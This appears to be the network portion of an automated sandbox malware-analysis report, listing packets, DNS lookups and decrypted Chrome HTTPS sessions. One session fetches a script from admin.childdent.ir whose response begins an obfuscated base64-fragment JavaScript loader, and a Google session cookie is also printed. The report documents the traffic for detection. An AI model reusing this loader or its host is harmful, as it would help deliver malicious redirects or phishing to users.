Nov 28, 2023 16:56:51.742192984 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.743730068 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.743784904 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.744101048 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.744105101 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.796164036 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.954279900 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.954987049 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.955071926 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.977834940 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.977854013 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:54.073158026 CET	80	49721	8.253.139.248	192.168.2.5
Nov 28, 2023 16:56:54.073446035 CET	49721	80	192.168.2.5	8.253.139.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2023 16:55:22.026453972 CET	52325	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.026628971 CET	62301	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.027067900 CET	53985	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.027251005 CET	62543	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.152345896 CET	53	62301	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:22.152833939 CET	53	52325	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:22.153426886 CET	53	62543	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:22.154345036 CET	53	53985	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:22.195116997 CET	53	58257	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:22.305113077 CET	61779	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.305489063 CET	53934	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:22.794456005 CET	53	55335	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:23.134175062 CET	53	61779	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:23.923705101 CET	53	53934	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:24.576920033 CET	49535	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:24.577225924 CET	54404	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:24.581119061 CET	53320	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:24.581398964 CET	61491	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:24.703998089 CET	53	49535	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:24.704955101 CET	53	54404	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:24.707035065 CET	53	61491	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:24.707526922 CET	53	53320	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:26.504750967 CET	49799	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:26.505496979 CET	53376	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:26.631982088 CET	53	49799	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:26.632010937 CET	53	53376	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:26.950165033 CET	53	51106	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:28.284657955 CET	56525	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:28.285346031 CET	49759	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:28.748428106 CET	53	49759	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:29.523015976 CET	50594	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:55:29.757143021 CET	53	56525	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:30.927633047 CET	53	50594	1.1.1.1	192.168.2.5
Nov 28, 2023 16:55:41.190891981 CET	53	55680	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:00.143701077 CET	53	59088	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:22.053632975 CET	53	49243	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:23.113430023 CET	53	51159	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:49.505557060 CET	53	61377	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:51.410597086 CET	53453	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:56:51.411751986 CET	65264	53	192.168.2.5	1.1.1.1
Nov 28, 2023 16:56:51.538027048 CET	53	53453	1.1.1.1	192.168.2.5
Nov 28, 2023 16:56:51.540965080 CET	53	65264	1.1.1.1	192.168.2.5
Nov 28, 2023 16:57:34.549807072 CET	53	61294	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 28, 2023 16:55:23.923801899 CET	192.168.2.5	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Nov 28, 2023 16:55:30.927756071 CET	192.168.2.5	1.1.1.1	c1f9	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2023 16:55:22.026453972 CET	192.168.2.5	1.1.1.1	0xc8ea	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.026628971 CET	192.168.2.5	1.1.1.1	0x1e69	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Nov 28, 2023 16:55:22.027067900 CET	192.168.2.5	1.1.1.1	0xdea8	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.027251005 CET	192.168.2.5	1.1.1.1	0x4e55	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Nov 28, 2023 16:55:22.305113077 CET	192.168.2.5	1.1.1.1	0xae1	Standard query (0)	admin.childdent.ir	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.305489063 CET	192.168.2.5	1.1.1.1	0xc521	Standard query (0)	admin.childdent.ir	65	IN (0x0001)	false
Nov 28, 2023 16:55:24.576920033 CET	192.168.2.5	1.1.1.1	0xf45b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.577225924 CET	192.168.2.5	1.1.1.1	0x5490	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 28, 2023 16:55:24.581119061 CET	192.168.2.5	1.1.1.1	0xd883	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.581398964 CET	192.168.2.5	1.1.1.1	0xd89	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 28, 2023 16:55:26.504750967 CET	192.168.2.5	1.1.1.1	0xa091	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.505496979 CET	192.168.2.5	1.1.1.1	0xb2fd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2023 16:55:28.284657955 CET	192.168.2.5	1.1.1.1	0x82ce	Standard query (0)	admin.childdent.ir	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:28.285346031 CET	192.168.2.5	1.1.1.1	0x9c89	Standard query (0)	admin.childdent.ir	65	IN (0x0001)	false
Nov 28, 2023 16:55:29.523015976 CET	192.168.2.5	1.1.1.1	0x2375	Standard query (0)	admin.childdent.ir	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.410597086 CET	192.168.2.5	1.1.1.1	0xc5a9	Standard query (0)	clients1.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.411751986 CET	192.168.2.5	1.1.1.1	0x35a6	Standard query (0)	clients1.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2023 16:55:22.152345896 CET	1.1.1.1	192.168.2.5	0x1e69	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.113	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.138	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.139	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.100	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.101	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.152833939 CET	1.1.1.1	192.168.2.5	0xc8ea	No error (0)	clients.l.google.com		172.253.122.102	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:22.154345036 CET	1.1.1.1	192.168.2.5	0xdea8	No error (0)	accounts.google.com		142.251.163.84	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:23.134175062 CET	1.1.1.1	192.168.2.5	0xae1	No error (0)	admin.childdent.ir		172.245.92.82	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.703998089 CET	1.1.1.1	192.168.2.5	0xf45b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.703998089 CET	1.1.1.1	192.168.2.5	0xf45b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.704955101 CET	1.1.1.1	192.168.2.5	0x5490	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Nov 28, 2023 16:55:24.707526922 CET	1.1.1.1	192.168.2.5	0xd883	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.707526922 CET	1.1.1.1	192.168.2.5	0xd883	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.707526922 CET	1.1.1.1	192.168.2.5	0xd883	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:24.707526922 CET	1.1.1.1	192.168.2.5	0xd883	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.105	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.104	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.103	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.147	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.106	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.631982088 CET	1.1.1.1	192.168.2.5	0xa091	No error (0)	www.google.com		142.251.167.99	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:26.632010937 CET	1.1.1.1	192.168.2.5	0xb2fd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2023 16:55:27.569212914 CET	1.1.1.1	192.168.2.5	0x7ee	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2023 16:55:27.569212914 CET	1.1.1.1	192.168.2.5	0x7ee	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:27.569212914 CET	1.1.1.1	192.168.2.5	0x7ee	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:28.579952002 CET	1.1.1.1	192.168.2.5	0xd921	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2023 16:55:28.579952002 CET	1.1.1.1	192.168.2.5	0xd921	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:28.579952002 CET	1.1.1.1	192.168.2.5	0xd921	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:29.757143021 CET	1.1.1.1	192.168.2.5	0x82ce	No error (0)	admin.childdent.ir		172.245.92.82	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:55:30.927633047 CET	1.1.1.1	192.168.2.5	0x2375	No error (0)	admin.childdent.ir		172.245.92.82	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.100	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.138	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.101	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.139	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.102	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.538027048 CET	1.1.1.1	192.168.2.5	0xc5a9	No error (0)	clients.l.google.com		172.253.115.113	A (IP address)	IN (0x0001)	false
Nov 28, 2023 16:56:51.540965080 CET	1.1.1.1	192.168.2.5	0x35a6	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

clients2.google.com

accounts.google.com

admin.childdent.ir

code.jquery.com

cdnjs.cloudflare.com

https:

www.bing.com

aadcdn.msauth.net

fs.microsoft.com

slscr.update.microsoft.com

clients1.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	172.253.122.113	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:22 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:22 UTC	732	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 72 65 70 6f 72 74 2d 73 61 6d 70 6c 65 27 20 27 6e 6f 6e 63 65 2d 32 6c 52 58 39 6a 48 58 6d 64 62 7a 68 4d 43 48 6b 45 64 30 44 41 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 73 74 72 69 63 74 2d 64 79 6e 61 6d 69 63 27 20 68 74 74 70 73 3a 20 68 74 74 70 3a 3b 6f 62 6a 65 63 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 77 69 74 68 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 73 70 2f 63 6c 69 65 6e 74 75 70 64 61 74 65 2d 61 75 73 2f 31 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c Data Ascii: HTTP/1.1 200 OKContent-Security-Policy: script-src 'report-sample' 'nonce-2lRX9jHXmdbzhMCHkEd0DA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1Cache-Control
2023-11-28 15:55:22 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 37 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 38 35 32 32 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6175" elapsed_seconds="28522"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-11-28 15:55:22 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-11-28 15:55:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	142.251.163.84	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:22 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
2023-11-28 15:55:22 UTC	1	OUT	Data Raw: 20 Data Ascii:
2023-11-28 15:55:22 UTC	1627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Access-Control-Allow-Origin: https://www.google.comAccess-Control-Allow-Credentials: trueX-Content-Type-Options: nosniffCache-Control: no-cache, no-store, max-age=0, must-revalidatePr
2023-11-28 15:55:22 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-11-28 15:55:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	172.245.92.82	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:23 UTC	525	OUT	GET /installer/host2.4/admin/js/mf.php?id=W7gRqa HTTP/1.1 Host: admin.childdent.ir Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:23 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 55 54 2c 20 50 4f 53 54 2c 20 44 45 4c 45 54 45 2c 20 4f 50 54 49 4f 4e 53 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:23 GMTServer: ApacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONSUpgrade: h2Connection: Upgrade, closeVary: Acc
2023-11-28 15:55:23 UTC	7840	IN	Data Raw: 32 30 30 30 0d 0a 0d 0a 76 61 72 20 76 63 64 39 61 36 65 37 38 30 36 61 38 30 65 31 33 32 35 35 36 20 3d 20 5b 22 59 32 22 2c 22 78 68 22 2c 22 63 33 22 2c 22 4d 67 22 2c 22 55 6d 22 2c 22 56 6b 22 2c 22 61 58 22 2c 22 4a 37 22 2c 22 44 51 22 2c 22 6f 4a 22 2c 22 59 32 22 2c 22 39 75 22 2c 22 63 33 22 2c 22 52 79 22 2c 22 64 57 22 2c 22 4e 30 22 2c 22 62 33 22 2c 22 49 6f 22 2c 22 62 6d 22 2c 22 46 74 22 2c 22 5a 53 22 2c 22 78 6c 22 2c 22 62 53 22 2c 22 78 73 22 2c 22 61 57 22 2c 22 35 72 22 2c 22 4c 47 22 2c 22 4e 76 22 2c 22 62 6d 22 2c 22 59 73 22 2c 22 4c 69 22 2c 22 34 75 22 2c 22 59 58 22 2c 22 4a 6e 22 2c 22 63 79 22 2c 22 6c 37 22 2c 22 44 51 22 2c 22 6f 4a 22 2c 22 43 51 22 2c 22 6c 30 22 2c 22 61 47 22 2c 22 6c 7a 22 2c 22 4c 6e 22 2c 22 4e 30 Data Ascii: 2000var vcd9a6e7806a80e132556 = ["Y2","xh","c3","Mg","Um","Vk","aX","J7","DQ","oJ","Y2","9u","c3","Ry","dW","N0","b3","Io","bm","Ft","ZS","xl","bS","xs","aW","5r","LG","Nv","bm","Ys","Li","4u","YX","Jn","cy","l7","DQ","oJ","CQ","l0","aG","lz","Ln","N0
2023-11-28 15:55:23 UTC	358	IN	Data Raw: 22 2c 22 49 79 22 2c 22 50 53 22 2c 22 63 72 22 2c 22 61 6e 22 2c 22 64 30 22 2c 22 58 31 22 2c 22 4e 62 22 2c 22 4d 56 22 2c 22 30 72 22 2c 22 4a 79 22 2c 22 5a 6b 22 2c 22 59 58 22 2c 22 52 68 22 2c 22 4d 7a 22 2c 22 4d 39 22 2c 22 4a 79 22 2c 22 74 71 22 2c 22 64 33 22 2c 22 52 66 22 2c 22 55 31 22 2c 22 73 79 22 2c 22 58 53 22 2c 22 41 72 22 2c 22 49 43 22 2c 22 63 6d 22 2c 22 59 32 22 2c 22 39 75 22 2c 22 5a 6a 22 2c 22 30 6e 22 2c 22 4b 33 22 2c 22 52 6f 22 2c 22 61 58 22 2c 22 4d 75 22 2c 22 59 32 22 2c 22 39 75 22 2c 22 5a 69 22 2c 22 6b 4e 22 2c 22 43 67 22 2c 22 6b 4a 22 2c 22 43 51 22 2c 22 6b 4a 22 2c 22 4c 6d 22 2c 22 52 76 22 2c 22 62 6d 22 2c 22 55 6f 22 2c 22 5a 6e 22 2c 22 56 75 22 2c 22 59 33 22 2c 22 52 70 22 2c 22 62 32 22 2c 22 34 6f Data Ascii: ","Iy","PS","cr","an","d0","X1","Nb","MV","0r","Jy","Zk","YX","Rh","Mz","M9","Jy","tq","d3","Rf","U1","sy","XS","Ar","IC","cm","Y2","9u","Zj","0n","K3","Ro","aX","Mu","Y2","9u","Zi","kN","Cg","kJ","CQ","kJ","Lm","Rv","bm","Uo","Zn","Vu","Y3","Rp","b2","4o
2023-11-28 15:55:23 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
